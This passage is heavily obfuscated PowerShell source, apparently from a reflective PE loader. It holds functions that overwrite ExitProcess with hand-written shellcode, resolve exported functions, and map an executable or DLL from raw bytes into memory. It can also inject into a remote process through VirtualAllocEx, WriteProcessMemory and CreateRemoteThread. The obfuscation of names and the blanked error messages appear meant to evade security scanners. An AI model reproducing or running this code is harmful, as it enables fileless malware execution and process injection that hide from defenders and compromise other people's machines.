${Su`C`CEss} = ${win32fu`N`c`TioNS}."vi`R`TuaLPRO`T`ecT"."INVo`KE"(${WCm`d`LNa`ddr}, [UInt32]${PTRs`izE}, [UInt32](${W`I`N32constANTs}."PAG`E_E`X`eCUTE_re`A`dWri`TE"), [Ref]${OLD`PRoT`ECtFLAG})
if (${sucC`e`Ss} = ${F`A`lSe})
{
throw ""
}
[System.Runtime.InteropServices.Marshal]::"stRUC`TuR`et`OpTr"(${nEwWCMD`L`NPtR}, ${WC`md`LnaDDr}, ${fAl`sE})
${W`IN3`2FUNC`TIoNs}."v`IR`Tua`lPrOtEct"."IN`VOKe"(${WCMD`Ln`AD`Dr}, [UInt32]${pt`RSize}, [UInt32](${OlDP`ROtE`CtF`lAg}), [Ref]${oldp`RO`Te`CTFLAG}) | &("{1}{2}{0}" -f'ull','Out-','N')
}
}
${reTuR`Narr`AY} = @()
${eXiTfUN`CT`iO`NS} = @()
[IntPtr]${mS`CORE`eha`NdLE} = ${W`In32fu`NCT`iO`Ns}."GEtMoD`ULEHA`NdLe"."inVO`KE"("mscoree.dll")
if (${m`Scor`Eeh`ANdlE} -eq [IntPtr]::"Z`ero")
{
throw ""
}
[IntPtr]${cOr`Ex`i`TPR`oceSS`ADDR} = ${W`In`32Fun`ctionS}."gEt`P`RoCaDdRe`Ss"."I`NvO`Ke"(${mSCO`R`eE`HaNdLe}, "CorExitProcess")
if (${COrExI`T`PRoc`EsSAd`dr} -eq [IntPtr]::"z`Ero")
{
Throw ""
}
${Ex`I`TFUnCtIo`Ns} += ${c`orE`xit`pROcessaDDR}
[IntPtr]${eXIt`PRoC`eS`sAddr} = ${win32fuN`C`T`i`ons}."geT`Pr`OCaDDRess"."InvO`Ke"(${kerNel32`H`AnD`LE}, "ExitProcess")
if (${eXiTPR`OcEsSaD`Dr} -eq [IntPtr]::"Z`eRO")
{
Throw ""
}
${e`xi`TFunctIONS} += ${eX`I`TpRO`CEss`ADDR}
[UInt32]${oL`dp`R`Ot`ECtFLAg} = 0
foreach (${PR`OcExi`TfuN`CT`i`OnA`DDr} in ${eXIt`FuncTI`onS})
{
${P`RocEX`itf`UNC`Tionad`D`R`TMP} = ${PR`oCeXI`T`FuNCtI`oNa`DdR}
[Byte[]]${shelL`CO`de1} = @(0xbb)
[Byte[]]${s`HelLcO`DE2} = @(0xc6, 0x03, 0x01, 0x83, 0xec, 0x20, 0x83, 0xe4, 0xc0, 0xbb)
if (${pt`RsI`Ze} -eq 8)
{
[Byte[]]${sHEL`l`cOD`E1} = @(0x48, 0xbb)
[Byte[]]${S`HeLL`Co`DE2} = @(0xc6, 0x03, 0x01, 0x48, 0x83, 0xec, 0x20, 0x66, 0x83, 0xe4, 0xc0, 0x48, 0xbb)
}
[Byte[]]${shEL`lc`o`dE3} = @(0xff, 0xd3)
${TOT`A`LSize} = ${Sh`E`ll`coDE1}."l`e`NgTh" + ${PTr`S`IZE} + ${sheL`L`coDe2}."lenG`Th" + ${pTR`Si`Ze} + ${S`HeL`LC`ODe3}."LE`NgTh"
[IntPtr]${ex`ittHreA`d`ADDr} = ${WIN3`2F`U`NcTIONs}."GEtPR`Oc`A`ddRE`Ss"."INVo`KE"(${Kern`EL`32HaNd`lE}, "ExitThread")
if (${E`xIt`THr`ea`daDdR} -eq [IntPtr]::"z`eRo")
{
Throw ""
}
${SUC`c`ess} = ${WI`N32Fu`NC`TIoNS}."VIrTuA`LP`R`ote`ct"."I`NvO`ke"(${PrOcExit`F`UNC`Ti`onA`dDr}, [UInt32]${To`TA`l`sIzE}, [UInt32]${Wi`N32C`O`NsTAnTs}."Page_e`X`eCuTE_rEADwr`ite", [Ref]${OL`DPRo`T`Ec`TfLAg})
if (${SU`Cc`eSS} -eq ${fA`lse})
{
Throw ""
}
${EX`itPROCEssoRIGb`Y`Te`SP`TR} = [System.Runtime.InteropServices.Marshal]::"AlLo`chg`LObaL"(${tOt`A`lSiZE})
${wiN`3`2`FuN`CtIONS}."me`MCpy"."inV`O`ke"(${EXiTPr`OCESsO`Rigb`ytes`ptR}, ${pRO`ceXItFU`NCT`ion`AdDR}, [UInt64]${T`oTALs`i`zE}) | &("{1}{0}"-f 'll','Out-Nu')
${REtU`RNAR`RAy} += ,(${pR`Oc`exitF`UNctiON`Addr}, ${exItP`R`OC`eSsORigBy`TespTR}, ${t`O`TalSiZE})
&("{3}{4}{2}{0}{5}{1}" -f't','y','e-By','Wri','t','esToMemor') -Bytes ${sHeLLCo`D`E1} -MemoryAddress ${p`Ro`cEXItFu`NCt`I`O`NaDDRTMp}
${P`ROce`X`iTfuncTioN`A`DDrTmp} = &("{1}{0}{2}{4}{5}{3}" -f 'dd-Sign','A','edI','ed','ntAsU','nsign') ${p`ROcexiT`FUnctIO`N`AdD`Rt`MP} (${shEL`LC`oDE1}."leNg`TH")
[System.Runtime.InteropServices.Marshal]::"ST`RucTu`RE`TopTR"(${e`xeDO`NEbYt`EPtr}, ${proce`XI`TfuNcTio`Na`DDrt`mP}, ${FAL`se})
${PR`OcEx`iTfun`cTIONADD`R`T`Mp} = &("{4}{1}{6}{5}{2}{3}{0}" -f'ed','d-Si','AsUn','sign','Ad','nedInt','g') ${pr`O`c`ex`Itf`UNcTiONAdDRtmP} ${Ptr`sIZe}
&("{0}{4}{5}{3}{1}{2}"-f 'Wr','esT','oMemory','t','ite','-By') -Bytes ${sh`ELlcO`dE2} -MemoryAddress ${PROCEx`iT`Fun`ctIo`Na`DDR`TMP}
${ProcExIt`Fu`N`ct`iONadDRT`mP} = &("{0}{2}{5}{4}{3}{1}" -f 'A','gned','dd-Sig','nsi','ntAsU','nedI') ${pRocExi`TfUNCtIo`N`Ad`DRTMP} (${ShE`Llc`OdE2}."Le`Ngth")
[System.Runtime.InteropServices.Marshal]::"sTRuC`TuR`eT`opTr"(${exItth`ReaDA`D`Dr}, ${pr`OCe`xITFuNc`T`iONADD`Rt`Mp}, ${FA`lse})
${P`Rocexitf`U`NCti`On`AdDr`T`MP} = &("{5}{2}{1}{4}{0}{3}"-f'igne','ignedIntAsU','S','d','ns','Add-') ${prOCe`X`ItFu`NcTIonaD`dRtMp} ${P`Tr`Size}
&("{1}{3}{4}{0}{2}{5}"-f'tesToMemo','Writ','r','e','-By','y') -Bytes ${Sh`e`LLcO`de3} -MemoryAddress ${prOCEXi`T`F`UN`CtIo`NaD`drtmP}
${Win32FU`N`CT`iONS}."VIr`TUalpr`OT`ECt"."InvO`Ke"(${P`ROcE`XItFuNC`Tio`NA`D`DR}, [UInt32]${toTA`ls`Ize}, [UInt32]${OL`DproT`eCtfLAG}, [Ref]${Ol`dPRO`T`ectFL`Ag}) | &("{0}{1}" -f'Out','-Null')
}
&("{2}{0}{1}"-f '-','Output','Write') ${re`T`Urn`ArrAY}
}
Function CO`pY-Arra`Y`o`F`MEmad`dReS`SEs
{
Param(
[Parameter(PoSITiON = 0, MANdATORY = ${t`RuE})]
[Array[]]
${cop`YIn`Fo},
[Parameter(pOsiTIon = 1, MANDaTORY = ${tR`Ue})]
[System.Object]
${wIn32f`Unc`Ti`ons},
[Parameter(position = 2, mANdatoRY = ${t`Rue})]
[System.Object]
${WIn3`2C`oNsTan`Ts}
)
[UInt32]${olD`pRO`T`ecT`FLAG} = 0
foreach (${I`Nfo} in ${co`PY`INFO})
{
${s`UcCEsS} = ${wIN32`F`U`NctI`Ons}."vIr`TUA`l`pROTe`Ct"."In`V`Oke"(${I`NFo}[0], [UInt32]${i`NfO}[2], [UInt32]${WIn32c`ONSTa`NTs}."PAge_`ExecU`T`e_rEadWr`iTe", [Ref]${o`ldPR`O`TecTfl`Ag})
if (${Suc`CE`ss} -eq ${fAl`SE})
{
Throw ""
}
${w`iN3`2Fu`NCtIoNs}."MemC`pY"."InV`OKe"(${In`Fo}[0], ${i`Nfo}[1], [UInt64]${i`Nfo}[2]) | &("{0}{1}" -f'Ou','t-Null')
${w`in32`FunCTIons}."VIRtUA`LPr`oTe`ct"."I`NVoKe"(${iN`Fo}[0], [UInt32]${IN`FO}[2], [UInt32]${ol`dPROt`ect`FLAg}, [Ref]${Ol`D`ProteC`T`FLaG}) | &("{0}{1}"-f'Out-Nul','l')
}
}
Function G`ET-M`e`MoRYPROCaDdreSS
{
Param(
[Parameter(positiON = 0, mANdATory = ${TR`UE})]
[IntPtr]
${pE`h`ANDLe},
[Parameter(posITiOn = 1, maNDatoRy = ${T`RUe})]
[String]
${fUnc`TI`On`NaME}
)
${WIN3`2TY`PES} = &("{3}{2}{1}{0}" -f'pes','Ty','n32','Get-Wi')
${Win`32c`oN`sta`NTS} = &("{3}{1}{0}{2}" -f 'onsta','n32C','nts','Get-Wi')
${P`EiNFo} = &("{0}{3}{2}{1}"-f 'G','ledInfo','-PEDetai','et') -PEHandle ${PEhA`N`Dle} -Win32Types ${WIN32`Ty`PeS} -Win32Constants ${wIN`32`COn`STANtS}
if (${p`einfO}."Ima`ge_Nt_H`e`AdErs"."O`Pt`ioNALH`EaDEr"."e`XPoRtt`ABle"."s`Ize" -eq 0)
{
return [IntPtr]::"zE`Ro"
}
${exPOrTTa`BLep`TR} = &("{0}{3}{2}{4}{1}" -f'Add-Sig','d','sUnsig','nedIntA','ne') (${p`e`HAnDLE}) (${p`EI`NfO}."ImAGE_`N`T_`h`eadErS"."optiOna`L`hEaD`Er"."EXP`orTT`A`BLe"."VI`RTuAlA`d`drEss")
${ExP`o`R`TTable} = [System.Runtime.InteropServices.Marshal]::"ptR`TO`Str`UcTUrE"(${E`xp`ORTTa`BlE`ptR}, [Type]${wi`N32`Typ`ES}."i`mage`_`eXPoRT`_`DiRECTORy")
for (${I} = 0; ${i} -lt ${eX`P`oRT`TAbLe}."numb`eR`oFn`AmES"; ${I}++)
{
${nameOf`F`setPtR} = &("{2}{1}{5}{0}{3}{4}" -f 'AsUnsi','edIn','Add-Sign','gn','ed','t') (${P`eHA`Ndle}) (${eX`PorTTA`BLE}."adD`Re`ss`ofN`AMes" + (${i} * [System.Runtime.InteropServices.Marshal]::"Si`zEOF"([Type][UInt32])))
${nA`m`EpTr} = &("{1}{6}{5}{0}{3}{2}{4}"-f 'ign','Ad','n','edI','tAsUnsigned','-S','d') (${P`eha`N`DlE}) ([System.Runtime.InteropServices.Marshal]::"P`TRto`STR`UcTUre"(${NA`meOffS`e`T`PtR}, [Type][UInt32]))
${Na`me} = [System.Runtime.InteropServices.Marshal]::"ptRT`oStr`iN`GA`NSi"(${nAMe`p`Tr})
if (${N`Ame} -ceq ${FuN`ct`IO`NnAmE})
{
${orDi`N`AlPTr} = &("{1}{0}{2}{4}{3}"-f '-Si','Add','gnedIn','d','tAsUnsigne') (${p`eh`AndLe}) (${eXPo`Rt`TA`BLE}."Ad`drESs`oFN`AmeOr`DIn`A`ls" + (${i} * [System.Runtime.InteropServices.Marshal]::"sIZ`eof"([Type][UInt16])))
${fuNc`inD`EX} = [System.Runtime.InteropServices.Marshal]::"PT`R`TO`S`TRuCtURe"(${o`Rdi`NA`lPTR}, [Type][UInt16])
${FU`NcOF`FSeTA`dDr} = &("{0}{5}{2}{1}{3}{4}"-f 'A','IntAsU','igned','nsign','ed','dd-S') (${Pe`HAN`DLE}) (${e`xp`orTt`ABlE}."AddrE`SsOffUn`Ctio`NS" + (${fUnC`i`N`deX} * [System.Runtime.InteropServices.Marshal]::"s`IZ`eOf"([Type][UInt32])))
${Fu`NcoF`FSeT} = [System.Runtime.InteropServices.Marshal]::"pTrTosTR`U`c`Tu`RE"(${funC`Of`F`sETa`dDr}, [Type][UInt32])
return &("{2}{1}{3}{0}"-f'signed','ign','Add-S','edIntAsUn') (${Pe`H`AnDLe}) (${fuN`C`oFF`seT})
}
}
return [IntPtr]::"z`erO"
}
Function INV`OKE`-MEMOrYL`oaDli`BRArY
{
Param(
[Parameter( poSiTiON = 0, mAnDAToRy = ${t`RUE} )]
[Byte[]]
${p`ebYT`es},
[Parameter(PoSITIon = 1, MANdATorY = ${fal`sE})]
[String]
${EXe`A`RGS},
[Parameter(positioN = 2, mAnDaToRY = ${f`A`LsE})]
[IntPtr]
${rEmoTEPrO`c`H`AnDle},
[Parameter(PoSItIon = 3)]
[Bool]
${forCe`A`SlR} = ${F`A`lSe}
)
${P`TR`SIze} = [System.Runtime.InteropServices.Marshal]::"sIZe`OF"([Type][IntPtr])
${wI`N3`2CO`NsTAn`TS} = &("{2}{1}{3}{0}{5}{4}" -f 'ta','n','Get-Wi','32Cons','ts','n')
${W`in3`2`FUNctIons} = &("{1}{3}{4}{2}{0}"-f 'ions','Get-Win3','t','2','Func')
${WiN3`2ty`peS} = &("{3}{1}{2}{0}"-f'pes','-Win','32Ty','Get')
${R`emoTEloa`DiNG} = ${fA`Lse}
if ((${REmOt`ePROC`h`An`d`le} -ne ${n`ULL}) -and (${REmOt`ePRo`ch`AnD`lE} -ne [IntPtr]::"z`eRO"))
{
${R`eMOTeloA`d`ing} = ${t`RUE}
}
&("{2}{0}{1}"-f'e-Verbos','e','Writ') ""
${P`eiNFO} = &("{1}{0}{2}{3}"-f'e','G','t-PEBasicInf','o') -PEBytes ${pEb`yt`ES} -Win32Types ${wi`N3`2TYpEs}
${oRi`gINA`liMA`gE`B`Ase} = ${P`EIn`Fo}."orI`giN`ALiM`A`GebAse"
${NxCom`patI`Ble} = ${Tr`UE}
if (([Int] ${pEi`N`FO}."D`LlCHaraC`T`erI`sTICs" -band ${wI`N32cOns`TaN`TS}."iM`AgE_`d`LlC`hArACTERIsTics_nx`_`c`oMPat") -ne ${w`IN32c`OnsT`ANTS}."IMaGe_d`LlchA`RAC`TE`RI`stics_NX`_cOm`paT")
{
&("{1}{2}{0}{3}"-f 'rni','Write-W','a','ng') "....." -WarningAction ("{0}{2}{1}" -f'C','nue','onti')
${n`Xcomp`ATib`le} = ${fal`SE}
}
${p`RoCeSS`64biT} = ${tR`UE}
if (${r`EMoTe`LOAD`I`Ng} -eq ${t`RUE})
{
${kEr`Ne`L32HAnDlE} = ${w`IN32f`U`NCTionS}."gETmODulE`HA`N`dLe"."In`VOkE"("kernel32.dll")
${rEs`ULT} = ${wi`N32F`U`NCTions}."GeT`p`ROcadD`ReSs"."I`Nv`oKE"(${Ke`RNeL32`HA`NDLE}, "IsWow64Process")
if (${re`S`UlT} -eq [IntPtr]::"zE`Ro")
{
Throw ""
}
[Bool]${WOw`64PRO`ce`Ss} = ${F`ALse}
${suC`Ce`ss} = ${wIn32f`UNCt`IonS}."IswO`w64p`RO`CEsS"."IN`VoKE"(${rEmo`TEpR`o`cHANDLe}, [Ref]${wow64pRo`C`Ess})
if (${S`Uc`cESS} -eq ${FA`LSE})
{
Throw ""
}
if ((${WoW6`4pR`OCESs} -eq ${tr`Ue}) -or ((${woW`64PRoc`e`sS} -eq ${FaL`sE}) -and ([System.Runtime.InteropServices.Marshal]::"S`IZeof"([Type][IntPtr]) -eq 4)))
{
${ProcEs`S`6`4B`iT} = ${F`AlSE}
}
${PowER`Sh`e`lL`64BIt} = ${T`Rue}
if ([System.Runtime.InteropServices.Marshal]::"S`iZEof"([Type][IntPtr]) -ne 8)
{
${POw`eRSHEl`L`64Bit} = ${fa`L`SE}
}
if (${powERSHell`64`B`it} -ne ${P`Roc`esS64`BiT})
{
throw ""
}
}
else
{
if ([System.Runtime.InteropServices.Marshal]::"S`iZe`OF"([Type][IntPtr]) -ne 8)
{
${Pr`OCEss64`BIt} = ${Fa`LSE}
}
}
if (${pRo`C`E`sS64B`it} -ne ${P`eIn`FO}."PE6`4B`it")
{
Throw ""
}
&("{0}{3}{1}{2}" -f'Wri','Verbo','se','te-') ""
[IntPtr]${lo`AdAD`Dr} = [IntPtr]::"ZE`RO"
${P`eSuPpo`R`TsAs`Lr} = ([Int] ${pe`I`NfO}."dllc`H`ARaC`T`erI`sTICS" -band ${w`in3`2coNsT`An`TS}."i`MAG`E`_DLlCH`AR`AcTERI`sT`ICS_dy`NaMic`_`BASe") -eq ${wI`N32coN`St`ANTS}."iMA`ge_dllCHAract`ERISTiCs`_d`YnAMI`c_ba`sE"
if ((-not ${fO`RCeAs`LR}) -and (-not ${p`ESUpP`orT`SASlr}))
{
&("{1}{4}{2}{3}{0}" -f'g','Wr','e-Warn','in','it') "" -WarningAction ("{2}{1}{0}"-f'tinue','on','C')
[IntPtr]${L`oaDA`DDr} = ${or`i`g`in`ALImagebaSE}
}
elseif (${f`or`CEas`lr} -and (-not ${PE`sup`PORTs`AsLr}))
{
&("{0}{1}{2}{3}" -f 'W','rit','e-Verbos','e') ""
}
if (${fo`RCe`ASlR} -and ${Re`moTe`LO`ADi`Ng})
{
&("{0}{1}{2}"-f 'W','ri','te-Error') "" -ErrorAction ("{1}{0}" -f'p','Sto')
}
if (${rEmO`Te`LoAD`Ing} -and (-not ${P`es`U`ppoRTS`ASLR}))
{
&("{1}{2}{0}{3}" -f 'e-E','Wri','t','rror') "" -ErrorAction ("{0}{1}" -f'S','top')
}
${PEhAn`dlE} = [IntPtr]::"Ze`RO"
${e`Ff`eCtIvep`EHANDlE} = [IntPtr]::"Ze`Ro"
if (${rem`o`TeL`O`ADINg} -eq ${t`RUe})
{
${pE`Han`dLE} = ${wIn32`F`UnC`Tions}."vi`RTuAla`LLOC"."I`NvoKe"([IntPtr]::"ze`Ro", [UIntPtr]${p`EInFO}."SiZ`Eof`ImAgE", ${W`In32c`O`NSTANts}."M`Em`_C`omMiT" -bor ${Wi`N32cO`Ns`Tan`TS}."me`M`_REsERvE", ${wIN32ConS`T`A`Nts}."P`Age`_REA`DwRitE")
${EfF`Ecti`V`Ep`eH`AnDLe} = ${WI`N32`Functions}."V`ir`TuAla`LloCeX"."iN`VOke"(${RemOTe`P`ROChAN`D`lE}, ${loadAd`dr}, [UIntPtr]${pE`i`NFo}."SIZEO`F`ImAgE", ${wi`N`3`2COnSTAN`TS}."MeM_C`OM`MIt" -bor ${WI`N32co`NSt`A`NTs}."Mem_`Reser`VE", ${win32C`oNST`A`Nts}."PAGe_EXe`Cu`Te`_ReaDWr`iTe")
if (${E`Ffecti`V`ePeh`AnDlE} -eq [IntPtr]::"Z`eRO")
{
Throw ""
}
}
else
{
if (${nxc`OMP`AtiB`Le} -eq ${t`RUe})
{
${pEh`And`Le} = ${w`i`N32FUNCTIo`Ns}."ViR`Tu`ALal`loC"."I`NvOKE"(${loa`D`A`ddR}, [UIntPtr]${pei`N`Fo}."sIZEO`F`imA`ge", ${WiN`32Co`NSTAnTs}."mEm_c`O`mMiT" -bor ${wIN`32cONST`AN`Ts}."M`eM_R`ESE`RVE", ${w`iN32CO`NsT`ANts}."PaGe_`R`eAdwrite")
}
else
{
${pEHA`N`dle} = ${win3`2fUNctIO`NS}."Virt`UAlaL`Loc"."IN`VOke"(${L`OaDa`ddr}, [UIntPtr]${P`e`Info}."s`iZeoFI`Mage", ${wiN32C`on`st`A`Nts}."M`em_cOm`MIt" -bor ${wI`N`32coNStANtS}."ME`m_`REs`ERVe", ${WiN32C`ONsT`A`Nts}."Pa`g`E_E`Xec`UtE_REAd`w`RitE")
}
${EfFecTIVE`PeHAN`D`LE} = ${Pe`h`AnDle}
}
[IntPtr]${P`eendaDdrE`ss} = &("{1}{3}{2}{0}" -f'ned','Add','sig','-SignedIntAsUn') (${peh`An`dLe}) ([Int64]${pe`i`NFo}."S`iZ`EOfI`mAgE")
if (${peH`An`dlE} -eq [IntPtr]::"Ze`Ro")
{
Throw ""
}
[System.Runtime.InteropServices.Marshal]::"CO`PY"(${P`Eby`Tes}, 0, ${peH`AN`dle}, ${pei`NFo}."siZe`OfH`ead`ErS") | &("{0}{1}{2}"-f'Out-Nu','l','l')
&("{0}{1}{2}" -f 'Wri','te','-Verbose') ""
${peiN`Fo} = &("{1}{3}{2}{0}"-f 'fo','Get-PEDeta','dIn','ile') -PEHandle ${pE`HA`N`DLE} -Win32Types ${Win32`TY`pEs} -Win32Constants ${Win`3`2c`oNStANTs}
${p`EiN`Fo} | &("{0}{2}{1}" -f 'Add-','ber','Mem') -MemberType ("{1}{2}{0}"-f 'ty','Not','eProper') -Name ("{1}{2}{0}"-f'ddress','E','ndA') -Value ${peen`Da`DdreSs}
${pEI`N`FO} | &("{2}{0}{1}"-f'd-','Member','Ad') -MemberType ("{2}{0}{3}{1}" -f 'roper','y','NoteP','t') -Name ("{5}{3}{4}{0}{1}{2}" -f'PE','H','andle','fec','tive','Ef') -Value ${ef`FEc`TiVEp`eHandlE}
&("{1}{0}{2}{3}"-f 'te-Ve','Wri','r','bose') ""
&("{4}{3}{1}{0}{2}"-f 'os','te-Verb','e','ri','W') ""
&("{2}{1}{3}{0}" -f'tions','S','Copy-','ec') -PEBytes ${pEB`YteS} -PEInfo ${pe`InfO} -Win32Functions ${W`IN`3`2funCtiOnS} -Win32Types ${w`In3`2`TYpes}
&("{1}{0}{3}{2}"-f'ite-V','Wr','se','erbo') ""
&("{3}{0}{4}{2}{1}"-f'ate-MemoryA','es','ss','Upd','ddre') -PEInfo ${pEi`Nfo} -OriginalImageBase ${ORIGi`NaLim`AGE`BAsE} -Win32Constants ${wi`N3`2C`oNSTA`NtS} -Win32Types ${w`in32`TY`pes}
&("{1}{3}{2}{0}" -f 'erbose','W','V','rite-') ""
if (${REMoTEl`Oa`d`I`NG} -eq ${tR`UE})
{
&("{3}{0}{2}{4}{1}"-f 'mp','mports','ort-Dl','I','lI') -PEInfo ${pE`In`Fo} -Win32Functions ${W`i`N32fUn`CtioNs} -Win32Types ${w`in`32TY`PEs} -Win32Constants ${W`in3`2cOnstA`NtS} -RemoteProcHandle ${RE`MOT`Ep`RochaN`DlE}
}
else
{
&("{2}{5}{3}{0}{4}{1}"-f'p','ts','Import-Dl','Im','or','l') -PEInfo ${PeI`N`Fo} -Win32Functions ${W`IN32fUNCT`i`oNS} -Win32Types ${win32`T`ypeS} -Win32Constants ${Wi`N`32`C`OnStanTS}
}
if (${rEmOt`El`o`ADinG} -eq ${Fal`se})
{
if (${nXCO`mp`ATI`BlE} -eq ${Tr`Ue})
{
&("{1}{0}{3}{2}"-f 'e','Write-V','se','rbo') ""
&("{4}{1}{2}{0}{3}" -f'emoryProtect','date-','M','ionFlags','Up') -PEInfo ${PE`i`NFo} -Win32Functions ${w`In`32FunctionS} -Win32Constants ${Win`32C`oNstAnTs} -Win32Types ${wi`N`32TYP`Es}
}
else
{
&("{3}{2}{1}{0}"-f'se','rbo','rite-Ve','W') ""
}
}
else
{
&("{0}{1}{2}"-f'Write','-Verb','ose') ""
}
if (${remO`TEloAdI`NG} -eq ${Tr`UE})
{
[UInt32]${N`U`Mby`TESwri`Tten} = 0
${suC`cE`Ss} = ${WIn3`2`F`U`NCtiONS}."wr`ITe`proceSSm`EmORY"."i`NVOKe"(${ReMoTep`ROC`H`ANDlE}, ${E`FF`eC`TIVEpEHAN`d`le}, ${p`eHANdle}, [UIntPtr](${P`EIN`Fo}."sIZe`oFI`magE"), [Ref]${n`UMby`T`EsWrI`TtEn})
if (${SUCc`e`sS} -eq ${fal`se})
{
Throw ""
}
}
if (${PEi`NFo}."file`T`YPE" -ieq "DLL")
{
if (${ReMo`Te`L`OadiNG} -eq ${FA`LSE})
{
&("{0}{1}{2}" -f 'Writ','e-','Verbose') ""
${dLlMa`In`ptr} = &("{1}{3}{6}{0}{5}{2}{4}" -f 't','Add','sU','-','nsigned','A','SignedIn') (${PeIN`FO}."PeH`ANdlE") (${PE`I`NFo}."I`mage_Nt`_hE`AD`ers"."Opt`ioNa`l`hea`DeR"."Add`ResSOFEN`Tr`Y`PO`inT")
${Dll`M`AinD`elE`GATe} = &("{2}{0}{1}{3}{4}" -f'-','De','Get','le','gateType') @([IntPtr], [UInt32], [IntPtr]) ([Bool])
${d`LLMA`In} = [System.Runtime.InteropServices.Marshal]::"G`e`TDe`leGaT`EFoR`FUN`c`TioNp`oINTER"(${d`LlMAInp`TR}, ${d`l`Lm`AI`NDElegAte})
${dL`LmaIn}."INV`oKE"(${p`eIn`Fo}."pehA`NdlE", 1, [IntPtr]::"zE`Ro") | &("{2}{0}{1}" -f 'ut-','Null','O')
}
else
{
${Dllm`A`iN`pTR} = &("{4}{6}{1}{3}{0}{5}{2}"-f 'AsU','igne','gned','dInt','Add','nsi','-S') (${eF`FeCTiVe`P`Eh`An`dLe}) (${Pe`IN`Fo}."imaGe`_nT`_heAD`eRS"."oPtIon`Al`head`Er"."AdDRE`ssO`FE`NtRy`poinT")
if (${P`EinFo}."pE`64bIt" -eq ${t`RUe})
{
${Cal`l`DllMAi`N`sc1} = @(0x53, 0x48, 0x89, 0xe3, 0x66, 0x83, 0xe4, 0x00, 0x48, 0xb9)
${CAL`L`dLlMA`InSC2} = @(0xba, 0x01, 0x00, 0x00, 0x00, 0x41, 0xb8, 0x00, 0x00, 0x00, 0x00, 0x48, 0xb8)
${CALl`D`LLmaiNs`C3} = @(0xff, 0xd0, 0x48, 0x89, 0xdc, 0x5b, 0xc3)
}
else
{
${CALLD`lL`maIns`C1} = @(0x53, 0x89, 0xe3, 0x83, 0xe4, 0xf0, 0xb9)
${c`ALLDllmai`NS`c2} = @(0xba, 0x01, 0x00, 0x00, 0x00, 0xb8, 0x00, 0x00, 0x00, 0x00, 0x50, 0x52, 0x51, 0xb8)
${calldL`lMa`i`NsC3} = @(0xff, 0xd0, 0x89, 0xdc, 0x5b, 0xc3)
}
${sc`lE`NGtH} = ${C`Al`LdLlm`AInS`c1}."Le`Ng`Th" + ${ca`LLdlL`maIn`sC2}."L`e`NGtH" + ${c`A`llDLL`mAInSc3}."leNg`Th" + (${pTrS`i`ze} * 2)
${s`CPSmem} = [System.Runtime.InteropServices.Marshal]::"aLLocHgl`ob`AL"(${sCle`N`gtH})
${sCpsMe`mo`RI`GiN`AL} = ${SC`PsMEm}
&("{0}{5}{2}{3}{4}{1}" -f'Writ','y','-By','te','sToMemor','e') -Bytes ${c`A`LLdLlM`AiNsC1} -MemoryAddress ${scp`s`mem}
${sC`pSM`eM} = &("{3}{6}{5}{4}{0}{1}{2}"-f 'g','n','ed','A','i','IntAsUns','dd-Signed') ${SCps`MEm} (${CaL`LDllmA`INsC1}."len`gTh")
[System.Runtime.InteropServices.Marshal]::"st`RU`CtuREtop`TR"(${EffECT`IVep`EHA`N`dLE}, ${s`CPSM`Em}, ${F`Alse})
${sCps`mEm} = &("{0}{3}{5}{4}{1}{2}"-f'Add-','s','igned','Si','Un','gnedIntAs') ${sC`psMem} (${P`TR`sizE})
&("{1}{0}{2}{3}" -f'B','Write-','ytesT','oMemory') -Bytes ${cAlL`DllmA`I`NSC2} -MemoryAddress ${SC`P`smEM}
${scPSm`Em} = &("{4}{0}{2}{1}{3}{5}" -f'dIntA','si','sUn','gn','Add-Signe','ed') ${s`c`psmem} (${c`AL`l`dLlMAinsC2}."Len`gTH")
[System.Runtime.InteropServices.Marshal]::"stRUcT`URe`TOPtR"(${DlLmAI`N`ptR}, ${S`cP`sMEm}, ${fA`l`sE})
${SC`PsMEM} = &("{3}{4}{0}{5}{1}{2}" -f 'n','ig','ned','Add-SignedI','ntAsU','s') ${sCP`sM`EM} (${Pt`R`size})
&("{1}{4}{5}{2}{6}{3}{0}"-f'emory','W','ytesT','M','ri','te-B','o') -Bytes ${caL`L`dlLMaIn`Sc3} -MemoryAddress ${sCpsM`EM}
${SC`pSMeM} = &("{4}{2}{0}{1}{3}"-f'ignedIntA','sUnsig','-S','ned','Add') ${SC`pS`MeM} (${cAL`Ldl`lM`A`InSc3}."lEN`G`Th")
${R`scad`DR} = ${win`32fUNc`Tions}."VI`RTUAlaLl`o`CEx"."I`NV`OKe"(${RemOT`ePROc`han`Dle}, [IntPtr]::"Ze`RO", [UIntPtr][UInt64]${S`CLEn`Gth}, ${Win32`CoNST`A`Nts}."mEM_C`OM`MiT" -bor ${w`In`3`2CONStANTS}."M`em_rES`erVe", ${wiN`32COn`STA`Nts}."PAGE_`ex`Ec`Ute_rEADWRI`Te")
if (${R`sCAD`DR} -eq [IntPtr]::"Z`eRO")
{
Throw ""
}
${S`UcCess} = ${wI`N`32`FUnC`TionS}."WRit`Ep`R`OCE`SSMEmorY"."INVO`Ke"(${rem`o`TePr`Oc`hAN`Dle}, ${RSc`A`dDR}, ${S`CpsMe`MORiGIN`Al}, [UIntPtr][UInt64]${scL`e`Ng`TH}, [Ref]${nuMbyT`EswRI`T`Ten})
if ((${SUcc`e`ss} -eq ${FAl`sE}) -or ([UInt64]${nUm`B`Y`TeswrIT`TEN} -ne [UInt64]${S`c`lEngTH}))
{
Throw ""
}
${R`T`H`R`EaDHaNDLe} = &("{0}{3}{2}{4}{1}"-f'C','hread','ote','reate-Rem','T') -ProcessHandle ${rEMOTE`prO`c`H`AndLE} -StartAddress ${Rs`cAdDR} -Win32Functions ${WiN3`2f`U`NCT`IoNs}
${Re`S`Ult} = ${wI`N32F`UNct`IO`NS}."w`AItfoRsInG`Le`Ob`ject"."INVO`KE"(${R`T`HRE`AdhanDle}, 20000)
if (${Re`SULT} -ne 0)
{
Throw ""
}
${Win3`2`FU`NCTio`Ns}."v`irtualFr`EEEx"."iN`VOkE"(${rE`MoT`eproCha`ND`LE}, ${RsC`AD`Dr}, [UIntPtr][UInt64]0, ${WIn`3`2CoN`StA`NTS}."mEM`_`REleAse") | &("{2}{0}{1}" -f'l','l','Out-Nu')
}
}
elseif (${pE`iNfo}."F`ilE`TYpE" -ieq "EXE")
{
[IntPtr]${e`xED`onEB`y`TEptR} = [System.Runtime.InteropServices.Marshal]::"a`L`lOCHG`loBAl"(1)
[System.Runtime.InteropServices.Marshal]::"W`Ri`TeBytE"(${ExeDOnEBy`T`EP`TR}, 0, 0x00)
